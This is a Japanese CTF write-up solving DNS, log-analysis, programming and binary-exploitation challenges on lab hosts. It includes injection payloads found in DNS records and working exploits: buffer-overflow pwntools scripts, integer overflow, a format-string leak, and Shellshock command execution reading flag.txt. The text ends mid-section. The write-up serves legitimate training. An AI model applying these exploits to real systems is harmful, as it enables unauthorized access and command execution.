$ dig @10.10.10.21 example.com -t any ; <<>> DiG 9.18.12-0ubuntu0.22.04.2-Ubuntu <<>> @10.10.10.21 example.com -t any ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 49916 ;; flags: qr aa rd; QUERY: 1, ANSWER: 12, AUTHORITY: 0, ADDITIONAL: 4 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 1232 ; COOKIE: 1095ded8624da2c40100000064cef44dfa0b01cd6a687373 (good) ;; QUESTION SECTION: ;example.com. IN ANY ;; ANSWER SECTION: example.com. 86400 IN SOA ns.example.com. hostmaster.examle.com. 2023060101 10800 3600 604800 86400 example.com. 86400 IN NS ns.example.com. example.com. 86400 IN NS ns2.example.com. example.com. 86400 IN NS ns3.example.com. example.com. 300 IN MX 10 aspmx3.googlemail.com. example.com. 300 IN MX 10 aspmx2.googlemail.com. example.com. 300 IN MX 1 aspmx.l.google.com. example.com. 300 IN MX 5 alt1.aspmx.l.google.com. example.com. 300 IN MX 5 alt2.aspmx.l.google.com. example.com. 300 IN TXT "google-site-verification=84ReW9l6y2KJSqiXM4E9ic7IVf_-yJiivA9rek58XIw" example.com. 300 IN TXT "v=spf1 include:_spf.google.com ~all" example.com. 300 IN TXT "atlassian-domain-verification=YTJ1gswsX4q4yS4zLBkPPSbVuxR1AaoZl3cB88lGY/vU4gPx/M0JLdRCVLguRDYt" ;; ADDITIONAL SECTION: ns.example.com. 86400 IN A 10.10.0.1 ns2.example.com. 86400 IN A 10.10.20.22 ns3.example.com. 86400 IN A 10.10.30.33 ;; Query time: 130 msec ;; SERVER: 10.10.10.21#53(10.10.10.21) (TCP) ;; WHEN: Sun Aug 06 10:15:56 JST 2023 ;; MSG SIZE rcvd: 598 $
この時点でヒントを2つとも表示しました。「ゾーン情報ってDNSクライアントから取得できるものなの?」と思うくらいには何も知りませんでした。
DNS経由で取得できる情報をGoogle検索していると、CTFのWebセキュリティにおけるDNS/ドメインまとめ - はまやんはまやんはまやんページでdig
コマンドのaxfr
オプションの記載があったので試しました。ゾーン転送を意味するオプションだそうで、様々な目に留まる内容が得られました。しかしヒントにある通り、どれもフラグには繋がらないものだそうです(フラグに繋がらないのなら「らしい」ものを置く必要はないのでは、と思います):
$ dig axfr @10.10.10.21 example.com ; <<>> DiG 9.18.12-0ubuntu0.22.04.2-Ubuntu <<>> axfr @10.10.10.21 example.com ; (1 server found) ;; global options: +cmd example.com. 86400 IN SOA ns.example.com. hostmaster.examle.com. 2023060101 10800 3600 604800 86400 example.com. 86400 IN NS ns.example.com. example.com. 86400 IN NS ns2.example.com. example.com. 86400 IN NS ns3.example.com. example.com. 300 IN MX 1 aspmx.l.google.com. example.com. 300 IN MX 5 alt1.aspmx.l.google.com. example.com. 300 IN MX 5 alt2.aspmx.l.google.com. example.com. 300 IN MX 10 aspmx2.googlemail.com. example.com. 300 IN MX 10 aspmx3.googlemail.com. example.com. 300 IN TXT "v=spf1 include:_spf.google.com ~all" example.com. 300 IN TXT "google-site-verification=84ReW9l6y2KJSqiXM4E9ic7IVf_-yJiivA9rek58XIw" example.com. 300 IN TXT "atlassian-domain-verification=YTJ1gswsX4q4yS4zLBkPPSbVuxR1AaoZl3cB88lGY/vU4gPx/M0JLdRCVLguRDYt" _challenge.example.com. 300 IN TXT "VGhpcyBpcyBhIGZpcnN0IHF1aWVzdGlvbi4=" cmdexec.example.com. 300 IN TXT "; ls" helloworld.example.com. 302 IN TXT "Hello World" ns.example.com. 86400 IN A 10.10.0.1 ns2.example.com. 86400 IN A 10.10.20.22 ns3.example.com. 86400 IN A 10.10.30.33 sqli.example.com. 300 IN TXT "' or 1=1 --" sshock.example.com. 300 IN TXT "() { :]}; echo ShellShocked" xss.example.com. 300 IN TXT "'><script>alert('Boo')</script>" example.com. 86400 IN SOA ns.example.com. hostmaster.examle.com. 2023060101 10800 3600 604800 86400 ;; Query time: 160 msec ;; SERVER: 10.10.10.21#53(10.10.10.21) (TCP) ;; WHEN: Sun Aug 06 15:57:08 JST 2023 ;; XFR size: 22 records (messages 1, bytes 878) $ echo 'VGhpcyBpcyBhIGZpcnN0IHF1aWVzdGlvbi4=' | base64 -d This is a first quiestion. $
他にDNS関係で分かることには何があるかをGoogle検索していると、DNS確認で使うdigコマンド(個人的によく使うコマンドオプション編) - Qiitaを見つけました。その中にversion.bind
についての紹介があったので早速試しました:
$ dig @10.10.10.21 chaos txt version.bind ; <<>> DiG 9.18.12-0ubuntu0.22.04.2-Ubuntu <<>> @10.10.10.21 chaos txt version.bind ; (1 server found) ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 24461 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; WARNING: recursion requested but not available ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 1232 ; COOKIE: c815348c846ce0710100000064cf6909c429730b5138dfe3 (good) ;; QUESTION SECTION: ;version.bind. CH TXT ;; ANSWER SECTION: version.bind. 0 CH TXT "flag{yExjq2D72ASL}" ;; Query time: 20 msec ;; SERVER: 10.10.10.21#53(10.10.10.21) (UDP) ;; WHEN: Sun Aug 06 18:34:01 JST 2023 ;; MSG SIZE rcvd: 100 $
ついにフラグを入手できました: flag{yExjq2D72ASL}
個人的には10点問題とは全く思えない難易度でした。一方で、dig
コマンドで想像以上に色々調べられることも分かって面白い問題でした。
[NW] Analysis (183 solved, 20 points)
あなたは組織内で発生した情報セキュリティインシデントを調査しています。 社内で攻撃の踏み台とされた端末(10.200.200.15)から外部宛の通信を調査しています。 プロキシログ(proxylog.txt)から不審なサーバ(C&C サーバ)宛へのログを見つけて、接続先の IP アドレスを特定してください。 解答形式:flag{**********}(IP アドレス) ヒントを表示する ログファイルの1行目がインデックス行となっており、内容の判読が可能です。 ヒントを表示する 様々な観点でログを集計してみてください。
配布ファイルとして、proxylog.txt
があり、以下のような内容のログでした:
$ cat proxylog.txt | head -5 Time,elapsed,Source Address,code/status,bytes,Method,URL,Destnation Address,Content Type 2023/4/7 8:37:29,222,10.200.200.15,TCP_TUNNEL/200,32517,CONNECT,news.yahoo.co.jp:443,HIER_DIRECT/182.22.25.252,- 2023/4/7 8:37:30,4587,10.200.200.15,TCP_TUNNEL/200,1476,CONNECT,www.google.co.jp:443,HIER_DIRECT/216.58.197.163,- 2023/4/7 8:37:39,4587,10.200.200.15,TCP_TUNNEL/200,1476,CONNECT,www.google.co.jp:443,HIER_DIRECT/216.58.197.163,- 2023/4/7 8:37:55,222,10.200.200.15,TCP_TUNNEL/200,32517,CONNECT,news.yahoo.co.jp:443,HIER_DIRECT/182.22.25.252,- $ wc -l proxylog.txt 2963 proxylog.txt $
怪しい通信先があるかどうか、ざっくり調べました:
$ cat proxylog.txt | cut -d',' -f7,8 | sort -u amazon_co_jp.ipa-info.net:22,HIER_DIRECT/2.57.80.99 http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?,DIRECT/117.18.232.240 http://ocsp.entrust.net/MFEwTzBNMEswSTAJBgUrDgM,DIRECT/23.42.76.131 http://www.gstatic.com/generate_204,DIRECT/142.251.42.163 news.google.com:443,HIER_DIRECT/172.217.26.46 news.yahoo.co.jp:443,HIER_DIRECT/182.22.25.252 news.yahoo.co.jp:443,HIER_DIRECT/183.79.217.124 thanks.yahoo.co.jp:443,HIER_DIRECT/182.22.25.252 twitter.com:443,HIER_DIRECT/172.217.25.69 twitter.com:443,HIER_DIRECT/183.79.250.123 twitter.com:443,HIER_DIRECT/216.58.197.163 URL,Destnation Address weather.yahoo.co.jp:443,HIER_DIRECT/183.79.250.123 www.google.co.jp:443,HIER_DIRECT/216.58.197.163 www.yahoo.co.jp:443,HIER_DIRECT/182.22.25.252 www.yahoo.co.jp:443,HIER_DIRECT/183.79.217.124 $
この中で、1つ目のものがAmazonを騙ったドメインで怪しいです。8番目のカラムにあるIPアドレスをフラグ形式で提出してみると正解でした: flag{2.57.80.99}
[NW] Enumeration (78 solved, 20 points)
「10.10.10.22」のサーバーにインストールされているソフトウェア(Postfix)のバージョンを特定し、回答してください。 解答形式:flag{*.*.*}(*は半角数字) ヒントを表示する 対象のサーバ上にはどのようなサービスが稼働しているか確認してください。 ヒントを表示する SMTP サービス(25/tcp)を調査してもバージョン情報は確認できません。 ヒントを表示する SNMP のコミュニティ名を突破してシステム情報を列挙してください。
先に表明します。この問題、まともに解いていません……。
配布ファイルはありません。ひとまずnmap
で調査しました:
$ sudo nmap -sS -sV -sC -Pn -vvv -T3 -O --traceroute "10.10.10.22" -oA nmap_10.10.10.22 Nmap scan report for 10.10.10.22 Host is up, received user-set (0.035s latency). Scanned at 2023-08-06 12:34:27 JST for 18s Not shown: 999 filtered tcp ports (no-response) PORT STATE SERVICE REASON VERSION 25/tcp open smtp syn-ack ttl 128 Postfix smtpd | ssl-cert: Subject: commonName=debian | Subject Alternative Name: DNS:debian | Issuer: commonName=debian | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2023-06-12T07:06:34 | Not valid after: 2033-06-09T07:06:34 | MD5: 9d95:8a6e:3f76:aae8:5081:bb4c:7964:3f69 | SHA-1: 7a10:d0a5:7f7b:67c8:4f15:fd7e:75cf:260e:c6ec:9f22 | -----BEGIN CERTIFICATE----- | (中略) |_-----END CERTIFICATE----- |_ssl-date: TLS randomness does not represent time |_smtp-commands: debian, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: WAP|general purpose Running: Actiontec embedded, Linux 2.4.X (中略)
とりあえず有名所で開いているポートは25だけ、バナーにはバージョン無しと分かりました。nc
コマンドで自分で繋ぎに行ってもバージョンは分かりませんでした:
$ nc -nv 10.10.10.22 25 (UNKNOWN) [10.10.10.22] 25 (smtp) open 220 debian ESMTP Postfix (Debian/GNU) HELO test 250 debian EHLO test 250-debian 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-STARTTLS 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250-SMTPUTF8 250 CHUNKING
SMTPのコマンドを調べていると、Postfix 3系の SMTPUTF8 を試してみた | SIOS Tech. Labから、SMTPUTF8
コマンドがあるのでPostfix 3.0以降らしいと分かりました。
ただ、しばらく調べても他にバージョンに繋がりそうなものは見つかりませんでした。他のマシンの稼働サービスを見るに新しいバージョンが動いていそうだったので、最終手段としてDebian Package Tracker記載のバージョンを、新しいものから順番に試すことにしました。新しいものから3つ目のバージョンが正解でした: flag{3.7.5}
ヒントを見るに、UDPスキャンをすればSNMPに気づけて、そこからバージョンが分かったようです。UDPスキャンは忘れがちですね……。
[PROGRAMMING] Regex Exercise (222 solved, 10 points)
たくさんの偽のフラグに混ざった本物のフラグを見つけてください。本物のフラグは 1.Regexp 2."!!" を含む3文字 3.数字2けた 4."S" で始まる5文字以上の英単語 5.一の位が "8" の数値 がこの順番で並んだものです。 解答形式:flag{************}
本問題にヒントはありません。配布ファイルとして、regex-flags.txt
がありました。grep
コマンドで指示通りに絞っていきました:
$ wc -l regex-flags.txt 2500 regex-flags.txt $ cat regex-flags.txt | grep 'flag{Regexp(!!.|!.!|.!!)[0-9]{2}S.*8}' flag{Regexp:!!15Splendid159156098} $
フラグを入手できました: flag{Regexp:!!15Splendid159156098}
[PROGRAMMING] Mimic Unicode (58 solved, 20 points)
mimic.txt の文字列内に隠されているフラグを見つけてください。 解答形式:flag{************} ヒントを表示する Unicode 結合文字とそうでないものが混ざっています。 ヒントを表示する 8ビットのまとまりとして見ると?
配布ファイルとして、mimic.txt
がありました:
ゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴゴ
私の使っているテキストエディターだと、1文字のゴ
と、コ
に濁点゙
がついたゴ
を、カーソル移動や検索で判断できました。それぞれの文字を適当な文字に置き換えると、MSBが全て0の8-bit単位のASCIIに見えました。8文字ずつに区切ってCyberChefに復号してもらって、フラグを入手できました: flag{Un1c0de_N0rma|1z@t10n}
PROGRAMMINGジャンルと言うよりはMISCジャンル系統の問題に思いました。
[PROGRAMMING] LFSR Period (32 solved, 20 points)
次の多項式で表される長さ20ビットの線形帰還シフトレジスタ(LFSR)に、初期値 0x70109 を与えた場合の周期(もう一度 0x70109 が現れるまでのシフト回数)を10進整数で答えてください。 x^20 + x^15 + x^11 + 1 解答形式:整数値(半角数字)
本問題にヒントや配布ファイルはありません。とりあえず「LFSRの最大周期は2**n-1
では?」と1048575
を提出しましたがIncorrectでした。
Linear-feedback shift register - Wikipediaを見ながら実装しました。何回か実装ミスしてIncorrectと言われながら、最終的に書き上げたコードがこちらです:
#!/usr/bin/env python3 state = 0x70109 appeared = set() period = 0 while True: if state in appeared: break appeared.add(state) period += 1 next_bit = ((state >> 0) ^ (state >> 5) ^ (state >> 9)) & 1 state = (state >> 1) | (next_bit << 19) print(f"state: {state:020b}") print(period)
実行結果です:
$ ./solve.py state: 10111000000010000100 state: 01011100000001000010 state: 00101110000000100001 (中略) state: 11100000001000010011 state: 01110000000100001001 57288 $
提出すると正解でした: 57288
[PWN] Auth (47 solved, 10 points)
ログイン機能を作ってみました。By C 言語ルーキー 対象 IP アドレス:ポート:10.10.10.15:1001 解答方式:flag{************} ヒントを表示する 認証をバイパスするには? ヒントを表示する どの関数に BOF の脆弱性がある?
配布ファイルとして、バイナリauth
がありました:
$ file auth auth: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=107a9430e258db71e5c5ef86b1f9703a73a271ac, for GNU/Linux 3.2.0, not stripped $ pwn checksec auth [*] '/mnt/d/Documents/work/ctf/MoD_CyberContest_2023/Auth/auth' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) $
IDAで開いて逆コンパイルすると、gets
を使ったBufferOverflowが発生することが分かります:
int __fastcall main(int argc, const char **argv, const char **envp) { char strUserSize16[16]; // [rsp+0h] [rbp-30h] BYREF char strPasswordSize16[16]; // [rsp+10h] [rbp-20h] BYREF char strResultSize14[14]; // [rsp+2Ah] [rbp-6h] BYREF strcpy(strResultSize14, "false"); memset(strPasswordSize16, 0, sizeof(strPasswordSize16)); memset(strUserSize16, 0, sizeof(strUserSize16)); flag_set(); puts(" _____ __ .__ "); puts(" / _ \\ __ ___/ |_| |__ "); puts(" / /_\\ \\| | \\ __\\ | \\ "); puts("/ | \\ | /| | | Y \\ "); puts("\\____|__ /____/ |__| |___| / "); puts(" \\/ \\/ "); putchar(10); printf("User: "); gets(strUserSize16); printf("Password: "); gets(strPasswordSize16); if ( !strcmp(strPasswordSize16, flag) ) strcpy(strResultSize14, "true"); if ( !strcmp(strUserSize16, "admin") && !strcmp(strResultSize14, "true") ) { puts("Login succeeded!!"); printf("flag: %s\n", flag); } else { puts("Invalid password..."); } return 0; }
main
関数のローカル変数の配置は以下になっています:
-0000000000000030 strUserSize16 db 16 dup(?) -0000000000000020 strPasswordSize16 db 24 dup(?) -0000000000000008 db ? ; undefined -0000000000000007 db ? ; undefined -0000000000000006 strResultSize14 db 14 dup(?) +0000000000000008 r db 8 dup(?)
パスワード入力時にオーバーフローさせて"true"
, "false"
格納用バッファを上書きさせることにしました:
#!/usr/bin/env python3 import pwn pwn.context.binary = "./auth" def solve(io): io.sendlineafter(b"User: ", b"admin") io.sendlineafter(b"Password: ", b"A"*26 + b"true") print(io.recvall().decode()) pass # with pwn.process() as io: solve(io) with pwn.remote("10.10.10.15", 1001) as io: solve(io)
実行しました:
$ ./solve.py [*] '/mnt/d/Documents/work/ctf/MoD_CyberContest_2023/Auth/auth' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to 10.10.10.15 on port 1001: Done [+] Receiving all data: Done (43B) [*] Closed connection to 10.10.10.15 port 1001 Login succeeded!! flag: flag{wVFuVRn2Zmat} $
フラグを入手できました: flag: flag{wVFuVRn2Zmat}
[PWN] Festival (88 solved, 10 points)
祭りだ!祭りだ! flag を購入してね。 対象 IP アドレス:ポート:10.10.10.15:1002 解答方式:flag{************} ヒントを表示する int 型の最大値は何か?
配布ファイルとして、バイナリfestival
がありました:
$ file festival festival: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d4a03532de8ad340535ac36eb11b72f4a1b14632, for GNU/Linux 3.2.0, not stripped $ pwn checksec festival [*] '/mnt/d/Documents/work/ctf/MoD_CyberContest_2023/Festival/festival' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) $
IDAで開いて逆コンパイルすると、ものを買うプログラムのようです:
int __fastcall main(int argc, const char **argv, const char **envp) { __int64 v4; // [rsp+0h] [rbp-60h] BYREF char v5; // [rsp+8h] [rbp-58h] char v6[18]; // [rsp+9h] [rbp-57h] BYREF char v7[21]; // [rsp+1Bh] [rbp-45h] BYREF int arrayDwPrices[8]; // [rsp+30h] [rbp-30h] int dwCount; // [rsp+50h] [rbp-10h] BYREF int dwMenu; // [rsp+54h] [rbp-Ch] BYREF int i; // [rsp+58h] [rbp-8h] unsigned int dwCurrentBalance; // [rsp+5Ch] [rbp-4h] puts("___________ __ .__ .__ "); puts("\\_ _____/___ _______/ |_|__|__ _______ | | "); puts(" | __)/ __ \\ / ___/\\ __\\ \\ \\/ /\\__ \\ | | "); puts(" | \\ ___/ \\___ \\ | | | |\\ / / __ \\| |__"); puts(" \\___ / \\___ >____ > |__| |__| \\_/ (____ /____/"); puts(" \\/ \\/ \\/ \\/ "); putchar(10); dwCurrentBalance = 1000; arrayDwPrices[0] = 100; arrayDwPrices[1] = 200; arrayDwPrices[2] = 300; arrayDwPrices[3] = 500; arrayDwPrices[4] = 1000000000; v4 = 'enumaR'; v5 = 0; strcpy(v6, "Yakitori"); *(_QWORD *)&v6[9] = 'reeB'; v6[17] = 0; strcpy(v7, "Yakisoba"); *(_QWORD *)&v7[9] = 'galF'; v7[17] = 0; flag_set(10LL, argv); while ( 1 ) { printf("Balance : %d\n", dwCurrentBalance); puts("==Menu=="); for ( i = 0; i <= 4; ++i ) printf("%d. %s : %d\n", (unsigned int)(i + 1), (const char *)&v4 + 9 * i, (unsigned int)arrayDwPrices[i]); putchar(10); puts("Staff > What do you want to buy?"); puts("Staff > Input menu number."); printf(" You > "); __isoc99_scanf("%d", &dwMenu); puts("Staff > How many?"); printf(" You > "); __isoc99_scanf("%d", &dwCount); if ( dwMenu > 5 || dwMenu <= 0 ) { printf("Staff > Invalid number!"); return 0; } if ( dwCount <= 0 ) { puts("Staff > Huh?"); return 0; } dwCurrentBalance -= arrayDwPrices[dwMenu - 1] * dwCount; if ( (dwCurrentBalance & 0x80000000) != 0 ) { puts("Staff > Not enough money..."); return 0; } if ( dwMenu == 5 ) break; puts("Staff > here you are."); puts("Staff > Please buy more!"); putchar(10); } printf("Staff > %s\n", flag); return 0; }
最終目標のFlag
は高価すぎて初期状態では買えません。if ( dwCount <= 0 )
の分岐があるため負の個数の購入でお金を増やすこともできません。一方で、dwCurrentBalance -= arrayDwPrices[dwMenu - 1] * dwCount
箇所の掛け算でオーバーフローさせて負の数にしてやると、資金を増やせそうです。リモート宛に実行しました:
$ nc 10.10.10.15 1002 ___________ __ .__ .__ \_ _____/___ _______/ |_|__|__ _______ | | | __)/ __ \ / ___/\ __\ \ \/ /\__ \ | | | \ ___/ \___ \ | | | |\ / / __ \| |__ \___ / \___ >____ > |__| |__| \_/ (____ /____/ \/ \/ \/ \/ Balance : 1000 ==Menu== 1. Ramune : 100 2. Yakitori : 200 3. Beer : 300 4. Yakisoba : 500 5. Flag : 1000000000 Staff > What do you want to buy? Staff > Input menu number. You > 4 Staff > How many? You > 6589934 Staff > here you are. Staff > Please buy more! Balance : 1000001296 ==Menu== 1. Ramune : 100 2. Yakitori : 200 3. Beer : 300 4. Yakisoba : 500 5. Flag : 1000000000 Staff > What do you want to buy? Staff > Input menu number. You > 5 Staff > How many? You > 1 Staff > flag{gwAZLDpEHAg6}
フラグを入手できました: flag{gwAZLDpEHAg6}
[PWN] Parrot (39 solved, 20 points)
僕はオウム。なんでも繰り返し言うよ。 対象 IP アドレス:ポート:10.10.10.15:1003 解答方式:flag{************} ヒントを表示する 書式文字列攻撃が有効です。
配布ファイルとして、バイナリparrot
がありました:
$ file parrot parrot: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3e4324647ea93462a81ad7968d0edb706899df3a, for GNU/Linux 3.2.0, not stripped $ pwn checksec parrot [*] '/mnt/d/Documents/work/ctf/MoD_CyberContest_2023/Parrot/parrot' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled $
IDAで逆コンパイルすると、printf
関数呼び出し箇所にFormatStringBugがありました:
int __fastcall main(int argc, const char **argv, const char **envp) { FILE *fpFlag; // [rsp+0h] [rbp-270h] char *pStrSize48; // [rsp+8h] [rbp-268h] char strFormat[592]; // [rsp+10h] [rbp-260h] BYREF int v7; // [rsp+260h] [rbp-10h] __int16 v8; // [rsp+264h] [rbp-Ch] unsigned __int64 v9; // [rsp+268h] [rbp-8h] v9 = __readfsqword(0x28u); fpFlag = fopen("flag.txt", "rt"); pStrSize48 = (char *)malloc(0x30uLL); fgets(pStrSize48, 48, fpFlag); puts("__________ __ "); puts("\\______ \\_____ ______________ _____/ |_ "); puts(" | ___/\\__ \\\\_ __ \\_ __ \\/ _ \\ __\\"); puts(" | | / __ \\| | \\/| | \\( <_> ) | "); puts(" |____| (____ /__| |__| \\____/|__|"); putchar('\n'); memset(strFormat, 0, sizeof(strFormat)); v7 = 0; v8 = 0; printf(" You > "); __isoc99_scanf("%255s", strFormat); printf("Parrot > "); printf(strFormat); putchar('\n'); return 0; }
%1$s
等の入力を順番に試して、フラグ文字列がある位置を探しました。ローカル実行では5番目でしたが、リモート実行では7番目でした:
$ cat flag.txt DUMMY{THIS_IS_A_TEST} $ ./parrot __________ __ \______ \_____ ______________ _____/ |_ | ___/\__ \\_ __ \_ __ \/ _ \ __\ | | / __ \| | \/| | \( <_> ) | |____| (____ /__| |__| \____/|__| You > %5$s Parrot > DUMMY{THIS_IS_A_TEST} $ nc 10.10.10.15 1003 __________ __ \______ \_____ ______________ _____/ |_ | ___/\__ \\_ __ \_ __ \/ _ \ __\ | | / __ \| | \/| | \( <_> ) | |____| (____ /__| |__| \____/|__| You > %5$s Parrot > timeout: the monitored command dumped core Segmentation fault ^C $ nc 10.10.10.15 1003 __________ __ \______ \_____ ______________ _____/ |_ | ___/\__ \\_ __ \_ __ \/ _ \ __\ | | / __ \| | \/| | \( <_> ) | |____| (____ /__| |__| \____/|__| You > %7$s Parrot > flag{sRUNzwv4PF4p}
フラグを入手できました: flag{sRUNzwv4PF4p}
[PWN] Shock (33 solved, 20 points)
ショッカーを倒せ! 対象 IP アドレス:ポート:10.10.10.16:1004 解答方式:flag{************} ヒントを表示する CVE-2014-6271
配布ファイルとして、2つのバイナリshock
とbash_4.3.0
がありました:
$ file * bash_4.3.0: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=681384f1897aba001ed194deb632fdc8afd844c0, for GNU/Linux 3.2.0, with debug_info, not stripped shock: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=ddd1100241a12513517051189a94c6a754e29883, for GNU/Linux 3.2.0, not stripped $ pwn checksec shock [*] '/mnt/d/Documents/work/ctf/MoD_CyberContest_2023/Shock/shock' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) $
shock
をIDAで逆コンパイルすると、環境変数を設定した後にbash_4.3.0
を実行する内容でした:
int __fastcall main(int argc, const char **argv, const char **envp) { char strEnv[48]; // [rsp+0h] [rbp-50h] BYREF char strEnvValue[32]; // [rsp+30h] [rbp-20h] BYREF puts(" _________.__ __ "); puts(" / _____/| |__ ____ ____ | | __"); puts(" \\_____ \\ | | \\ / _ \\_/ ___\\| |/ /"); puts(" / \\| Y ( <_> ) \\___| < "); puts("/_______ /|___| /\\____/ \\___ >__|_ \\"); puts(" \\/ \\/ \\/ \\/"); putchar(10); puts("Shocker > I'm a shocker! Try to beat me!"); printf("You > "); fgets(strEnvValue, 32, stdin); snprintf(strEnv, 0x30uLL, "s=%s", strEnvValue); putenv(strEnv); system("./bash_4.3.0 -c 'echo Shocker \\> $SHOCK level will not bring you down.'"); return 0; }
bashが配られていることと問題タイトルから、「ShellShock」という脆弱性を思い出しました。影響するバージョンを調べてみると、GNU Bourne-Again Shell (Bash) ‘Shellshock’ Vulnerability (CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, CVE-2014-7187, CVE-2014-6277 and CVE 2014-6278) | CISAで「Bash 4.3.0まで」という旨の記載がありました。今回の場合にばっちり該当します。
今回は環境変数の値部分が32文字以内ということに注意して、mubix/shellshocker-pocs: Collection of Proof of Concepts and Potential Targets for #ShellShockerで紹介されているものを試すと、() { :; }; /bin/ls
の入力でコマンド実行が成功しました:
$ nc 10.10.10.16 1004 _________.__ __ / _____/| |__ ____ ____ | | __ \_____ \ | | \ / _ \_/ ___\| |/ / / \| Y ( <_> ) \___| < /_______ /|___| /\____/ \___ >__|_ \ \/ \/ \/ \/ Shocker > I'm a shocker! Try to beat me! You > () { :; }; /bin/ls bash_4.3.0 chall flag.txt start.sh Segmentation fault (core dumped) ^C $ nc 10.10.10.16 1004 _________.__ __ / _____/| |__ ____ ____ | | __ \_____ \ | | \ / _ \_/ ___\| |/ / / \| Y ( <_> ) \___| < /_______ /|___| /\____/ \___ >__|_ \ \/ \/ \/ \/ Shocker > I'm a shocker! Try to beat me! You > () { :; }; /bin/cat flag.txt flag{UgjiH6Ep3Xda} Segmentation fault (core dumped) $
フラグを入手できました: flag{UgjiH6Ep3Xda}
既知かつ公知の脆弱性を使って攻撃するPWNジャンルは珍しく思いました。
[PWN] Noprotect (32 solved, 30 points)
flags 関数呼び出し忘れちゃった。 対象 IP アドレス:ポート:10.10.10.15:1005 解答方式:flag{************} ヒントを表示する スタックバッファオーバーフローの脆弱性があります。 ヒントを表示する flags 関数のメモリ位置はどこでしょうか。
配布ファイルとして、バイナリnoprotect
がありました:
$ file noprotect noprotect: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=93563bb50b42cc312827e4579b1b7660f7945f4a, for GNU/Linux 3.2.0, not stripped $ pwn checksec noprotect [*] '/mnt/d/Documents/work/ctf/MoD_CyberContest_2023/Noprotect/noprotect' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments $
通常では無いはずの「Has RWX segments」があるあたり、過剰にNoprotectなバイナリです。IDAで逆コンパイルすると、gets
関数でBufferOverflowさせることで、main
からの戻りアドレスを改ざんできそうです:
int __fastcall main(int argc, const char **argv, const char **envp) { char strBufferSize256[256]; // [rsp+0h] [rbp-100h] BYREF puts(" _ _ "); puts(" _ __ ___ _ __ _ __ ___ | |_ ___ ___| |_ "); puts("| '_ \\ / _ \\| '_ \\| '__/ _ \\| __/ _ \\/ __| __|"); puts("| | | | (_) | |_) | | | (_) | || __/ (__| |_ "); puts("|_| |_|\\___/| .__/|_| \\___/ \\__\\___|\\___|\\__|"); puts(" |_| \n"); putchar(10); printf("n0protec > "); gets(strBufferSize256); return 0; }
main
関数のローカル変数等の配置です:
-0000000000000100 strBufferSize256 db 256 dup(?) +0000000000000000 s db 8 dup(?) +0000000000000008 r db 8 dup(?)
PIEが無いためflag
関数のアドレスは固定です。これらを利用してソルバーを書きました:
#!/usr/bin/env python3 import pwn BIN_NAME = "./noprotect" pwn.context.binary = BIN_NAME def solve(io): addr_flags = 0x00000000004011A6 payload = pwn.flat([b"A" * (256+8), addr_flags]) io.sendlineafter(b"n0protec > ", payload) print(io.recvall().decode()) # with pwn.process() as io: solve(io) with pwn.remote("10.10.10.15", 1005) as io: solve(io) # command = """ # b* 0x0000000000401285 # continue # """ # with pwn.gdb.debug(BIN_NAME, command) as io: solve(io)
実行しました:
